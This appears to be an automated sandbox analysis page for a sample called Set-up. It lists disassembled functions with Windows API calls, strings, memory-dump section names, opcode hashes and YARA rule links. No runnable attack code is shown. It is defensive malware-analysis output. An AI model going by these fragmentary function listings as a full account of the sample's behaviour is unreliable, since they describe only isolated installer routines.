Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

